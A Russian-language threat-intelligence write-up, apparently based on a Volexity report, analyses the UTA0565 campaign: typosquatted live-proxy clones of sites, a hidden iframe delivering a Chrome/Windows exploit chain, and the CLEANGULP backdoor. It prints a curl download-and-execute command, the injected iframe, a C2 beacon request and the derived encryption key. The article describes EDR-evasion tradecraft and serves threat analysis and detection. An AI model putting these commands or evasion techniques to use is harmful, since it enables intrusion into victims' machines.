В начале сентября 2026 года американский политический институт Center for American Progress работал как обычно: публиковал материалы, рассылал пресс-релизы, обновлял сайт. Параллельно адрес americanprgoress.top – одна переставленная буква – показывал посетителю ровно тот же контент в реальном времени: все статьи, все баннеры, все внутренние ссылки. С одним отличием: внутри страницы постоянно жил невидимый iframe нулевого размера.
В этот iframe была зашита цепочка из трёх свежих 0-day – двух в Google Chrome и одного в ядре Windows, – сшитых в побег из песочницы V8 и выход на уровень broker-процесса браузера. От перехода жертвы по ссылке до исполнения кода у неё на машине уходило меньше секунды, и ни одна предупреждающая рамка на экране не появлялась: страница вела себя как настоящий сайт CAP, потому что настоящий сайт CAP и загружался. Параллельно та же группа вела вторую кампанию – китайскую рассылку по азиатским государственным ведомствам, с темой в поддержку гонконгской активистки, заключённой за попытку провести ежегодную поминальную акцию по жертвам 4 июня.
Цепочку кампаний подняла Volexity в разборе от 21 сентября 2026 года, присвоив оператору внутренний код UTA0565. Отличительная черта группы – не технический арсенал, которым она делится с несколькими другими китайскими APT-операторами, а именно подача жертве.
Первая линия – англоязычная, маскировка под Center for American Progress. 3 сентября 2026 года, 23:45, с адреса marcellulgowsdtu62@gmail.com под именем "Marcella Gulgowski-Batz" ушла массовая рассылка на undisclosed-recipients: с темой "Trump Administration Won't Stop CAP's Independent Research". Тело – имитация корпоративной коммуникации CAP: обращение к коллегам по research-сообществу, отсылки к политическому давлению на исследовательские институты, подпись самого CAP, внутри – единственная ссылка на тайпсквот.
Вторая линия – китайская, бьёт по азиатским правительствам. Из ящика jung_yeheeu@outlook.com под именем "Hui Cao" уходит письмо с темой «聲援鄒幸彤 打倒共產黨» – «Поддержим Chow Hang-tung, свалим Компартию». В теле – подробное обращение в защиту Chow Hang-tung, бывшего вице-председателя Hong Kong Alliance in Support of Patriotic Democratic Movements of China, арестованной в 2021 году за попытку провести ежегодную поминальную акцию по жертвам 4 июня. Приложена карточка Chow Hang-tung с лозунгом «只要我们未放弃, 这城就不会死!» – «Пока мы не сдадимся, этот город не умрёт».
Два регистра, две аудитории, одна цель – увести жертву на тайпсквот и запустить iframe с эксплойт-цепочкой. Экспозиция у кампаний разная; эксплойт-ствол и имплант – одни.
Для англоязычной линии подготовлен americanprgoress[.]top – тайпсквот под americanprogress.org с перестановкой букв. На момент разбора Volexity сайт был живой и выглядел полной копией настоящего CAP: содержимое страницы грузилось с настоящего americanprogress.org в реальном времени, через прокси и прямые fetch-запросы. Единственное отличие – в разметку был вклеен один невидимый iframe:
<iframe src="/config.html" style="display:none;visibility:hidden;width:0;height:0;border:0;overflow:hidden" tabindex="-1" aria-hidden="true" title="site-config"></iframe>
Для китайской линии – домен chinadigitaltimes[.]top под реальным chinadigitaltimes.net. На момент разбора сайт уже снесли, но Censys сохранила снимок: тот же паттерн – клон содержимого настоящего China Digital Times с невидимым iframe сверху. Хостинг обоих клонов – IP 96.9.125[.]52.
Это инженерно отличает кампанию от типового подхода операторов фишинговых цепочек в Chrome. Привычный ход – поднять свой домен с заранее собранным HTML, подтянуть к нему JS-гейтер (обычно под именем популярной библиотеки вроде react.min.js, чтобы фильтры не трогали) и отфильтровать посетителей по User-Agent, по географии, по рефереру. Такая страница живёт отдельной жизнью: защитник может её скачать целиком, разобрать по байту, выдать YARA-правила и загнать в блок-листы.
UTA0565 выбрал другое. Сайт в каждый момент показывает ровно то, что показывает оригинал: обновили ли на нём колонку, вытащили ли баннер, поправили ли заголовок – отражается у клона тут же, без ручной подкрутки. Защитнику разбирать тут нечего: подсаженный контент – ровно один iframe размером ноль пикселей, остальное – чужой код, который сам же оригинал и отдаёт. Цена этого решения – постоянная зависимость от доступности оригинала и чуть выше нагрузка на хостинг-прокси. Выигрыш – почти нулевой собственный след для сигнатурного анализа и максимальное доверие жертвы: страница ведёт себя идентично настоящему сайту, которому читатель уже доверяет. Альтернатива – своя статическая приманка – дешевле в поддержке, но даёт защитнику полный HTML атакующего и статическую сигнатуру на будущее. UTA0565 заплатил поддержкой за доверие жертвы и невидимость для сигнатурщика, и в его классе целей – чиновники правительств и policy-исследователи – плата оправдана.
Внутри iframe лежит config.html – точка входа в эксплойт-кит, собранный под внутреннее имя BlueMoon. Это тот же кит, который Proofpoint отслеживает под этим именем и который за первые дни сентября 2026 года попал в руки сразу нескольких китайских APT-операторов. Подробный разбор устройства самого кита – с хронологией patch gap в Chromium, механикой трёх его CVE и отладочным стендом внутри страницы эксплойта – мы делали отдельно. Здесь обойдёмся сжатой констатацией: три звена – type confusion в V8 (CVE-2026-85046), побег из V8-клетки через подмену тела WebAssembly-функции (CVE-2026-87491) и локальная привилегия через Windows ALPC (CVE-2026-85880) – дают оператору исполнение кода в контексте broker-процесса Chrome.
Что UTA0565 сделал поверх кита – переделал его финальный шаг. У других пользователей кита, которых разбирали Volexity и Proofpoint, финал выглядел так:
cmd.exe /c curl -sS -o "%TEMP%\msgbox.exe" "<url>" && "%TEMP%\msgbox.exe"
Запуск cmd.exe, в нём curl, который кладёт .exe в %TEMP% и тут же запускает. Дерево процессов на выходе: chrome.exe → cmd.exe → curl.exe → msgbox.exe. Любой мало-мальски настроенный EDR загорается на этом паттерне по умолчанию: цепочка «браузер → командная строка → загрузчик → свежескачанный исполняемый файл» – одна из самых громких аномалий, которые ищут в SOC.
UTA0565 этот финал выкинул. Новый пейлоад финальной фазы делает три вещи, не выходя из broker-процесса Chrome: скачивает chrome_cleanup.exe (893 KB, Win64, SHA256 8858ea412dc306b3558885af18006c5ca24689e8875733b5e13b3c2692e603cb) in-process через собственные HTTP-примитивы; снимает с него Mark of the Web – NTFS-поток, который Windows ставит на всё пришедшее из интернета и по которому SmartScreen поднимает рамку «вы точно хотите запустить»; и запускает его через Windows shell COM, обходя cmd.exe и прямые CreateProcessA из подозрительного родителя.
Дерево процессов на выходе: chrome.exe → chrome_cleanup.exe. Один переход. Никакого curl, никакого cmd.exe, SmartScreen молчит. Цена этого решения – чуть больше нативного кода в пейлоаде плюс отдельный шаг со снятием MotW. Выигрыш – выпадение из стандартной EDR-сигнатуры и отсутствие промежуточных процессов, с которых аналитик обычно и начинает разбор. Это осознанная инженерная плата: килобайт кода за наблюдаемость. В классе фишинг-цепочек под Chrome эту плату обычно не вносят – потому что писать тише дольше, а патч-гап закрывается сам.
chrome_cleanup.exe принадлежит ранее не задокументированному семейству, которое Volexity назвала CLEANGULP. Писан на C, собран Microsoft Visual C++, обфусцирован control flow flattening и indirect calls – типовая связка под медленный ручной реверс. Volexity анализировала его преимущественно динамически: локализовала функции деобфускации строк и эмулировала их, собрав по кускам таблицу поведения.
Первое, что CLEANGULP делает после запуска, – устанавливает себя в %LOCALAPPDATA%\Microsoft\IME\MicrosoftIME.exe. Это папка, в которой Windows хранит данные японского, корейского, китайского и других Input Method Editor – компонентов ввода текста для языков с иероглифами. Для аналитика, пробегающего глазами по %LOCALAPPDATA%\Microsoft\..., файл MicrosoftIME.exe выглядит частью системы ввода – тем более если жертва и правда работает с восточноазиатским вводом, как это принято у значительной части целей UTA0565. Персистентность – запланированная задача с таким же именем, MicrosoftIME: мимикрия выдерживается до конца.
Набор команд CLEANGULP минимально достаточный, чтобы развернуть на машине жертвы что угодно: shell – запустить команду; ps – выдать список процессов; upload и download – двусторонняя передача файлов; bof – исполнить beacon object file, то есть загрузить и запустить произвольный post-exploitation модуль прямо в адресном пространстве самого импланта. Последняя команда и делает тонкий бэкдор платформой: оператор пушит заранее собранные Cobalt Strike-совместимые BOFs и получает kerberoasting, hashdump, lateral movement без необходимости тащить это на жёсткий диск жертвы отдельными файлами.
У CLEANGULP – один hard-coded C2-домен, thecovnresation[.]com. Это тайпсквот под theconversation.com, некоммерческую медиа-сеть, которая публикует научно-популярные колонки экспертов. Весь трафик идёт поверх HTTP, не TLS.
Первый beacon уходит на /beacon/pre-register:
POST /beacon/pre-register HTTP/1.1
Host: thecovnresation[.]com
Content-Type: application/octet-stream
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Content-Length: 100
9cjjWgOSWXy+T9JxH834SndiMhIcR56jll4D0WNV8KPh5nExMLCRLRuj3iEIQcy+ZeASbLUvpzy/7/cZuCPwBcKLiciy+dfcTTz5
Тело запроса – AES-256-GCM шифрованный JSON, запакованный в Base64. Только Base64 здесь не стандартный: алфавит собственный, с переставленными символами:
3GHIJKLMNOPQRSTUb4Fcd0fghijklmnopq/rstuvwxyzABCDEWXYZ12V56789a+e
И это тот самый алфавит, через SHA256 от которого получается AES-ключ:
cbeeb7dd5e89261cde032825fd10bb80bad2e3fbf5b91fdc9137ad463ffa8f21
Дешифрованный registration-пакет выглядит так:
Request: {"uuid":"146c38a3-65fa-3bf5-4030-67192b000bc0"}
Response: {"approved":false,"status":"ok"}
UUID, кстати, не по RFC 9562 – это time-based session identifier, который малварь считает один раз при инициализации.
Сама крипто-схема формально сильная: AES-256-GCM, authenticated encryption, компактный транспорт. Но ключ выводится из той же константы, которая и так лежит рядом в бинаре. Реверсер, вытащивший алфавит, получает ключ одной командой sha256sum. Никакой секретности от того, что ключ выводится, а не лежит константой, не возникает: для оборонца и то, и другое – одинаково вытаскивается статическим анализом за минуту. Зато в бинарнике на одну константу меньше, что косвенно и выдаёт мышление разработчика: экономия на размере, а не на стойкости. Если бы ключ выводился из алфавита плюс чего-то, чего в бинарнике нет – скажем, значения, присылаемого C2 на первое соединение, – схема бы кусалась. Так – это косметическая обфускация. На фоне тихого финала и мимикрии под Microsoft IME этот промах выглядит отдельным голосом: ядро кампании продумывал один разработчик, крипто-слой писал второй, с другими приоритетами.
Volexity сделала разворот от thecovnresation[.]com по регистрационному паттерну и подняла ещё шесть связанных доменов, зарегистрированных в те же дни 2 – 4 сентября 2026 года. Профиль каждого выдаёт сам себя:
Поддельный домен Имитирует Регистрация
--------------------------- ----------------------------- ----------
chinadigitaltimes[.]top chinadigitaltimes.net 2026-09-03
americanprgoress[.]top americanprogress.org 2026-09-03
thecovnresation[.]com theconversation.com 2026-09-04
thecovnresation[.]net theconversation.com 2026-09-04
borneobulletins[.]top borneobulletin.com.bn 2026-09-03
halal-navi[.]net halal-navi.com 2026-09-02
halaltak[.]net halalketak.net 2026-09-02
outsourcingwise[.]net outsourcingwise.com 2026-09-02
personclouds[.]com (парного легитимного нет) 2026-09-03
Профиль таргетинга читается без атрибуции: четыре категории клонов. Медийные источники (China Digital Times, The Conversation, Borneo Bulletin) – для рассылок, маскирующихся под редакционную корреспонденцию. Политические и policy-институты (CAP) – для американских исследователей. Halal-ресурсы с акцентом на Юго-Восточную Азию (halal-navi.com – японский сервис поиска halal-ресторанов, halaltak.net – связан с индонезийской кухней) – для мусульманской аудитории региона. И один outsourcing-портал – для корпоративной коммуникации. Это не ковровый фишинг. Это точечное изготовление поддельных сайтов под редакционные профили конкретных жертв, которых оператор собрался цеплять через их же профессиональные интересы.
Volexity прямо фиксирует: UTA0565 – не единственный, кто взял в сентябре BlueMoon-кит. Собственные наблюдения Volexity дали двух китайских операторов, параллельный разбор Proofpoint – ещё троих, UTA0565 добавил шестого. «Full scope and impact are likely far broader» – формулировка аккуратная, но она значит ровно то, что значит: в руках у китайской CNE-инфраструктуры в начале сентября 2026 года был один эксплойт-ствол, разошедшийся по операторам, которых начали находить задним числом. Шесть – это те, кого поймали; седьмой и восьмой – вопрос времени.
Инженерно UTA0565 на этом фоне идёт впереди всех остальных: тише в финале, аккуратнее в tradecraft с клоном сайта, собраннее в собственной малвари. Volexity называет это technical and operational improvements – в переводе на инженерный это значит, что оператор посмотрел, где у коллег с тем же инструментом светится, и это убрал. HTTP вместо HTTPS в C2 и SHA256 от открытого алфавита как ключ остаются неизящными моментами, но на фоне общего уровня работы они – не промахи ядра, а детали, не меняющие картины.
Это и есть самое неприятное наблюдение из всей истории. Эксплойт-кит, собранный на патч-гапе Chromium, разошёлся по шести китайским операторам за одну неделю не одинаково. Один сделал грубо, другой тише, третий – аккуратно. Так развиваются не разовые инциденты, а инфраструктуры со своим внутренним рынком upgrade-ов: кит передаётся по кругу, каждый следующий оператор видит, где прежний светился, и исправляет. UTA0565 здесь – пока вершина градиента. Пока.
Автор: hacker@shifry.local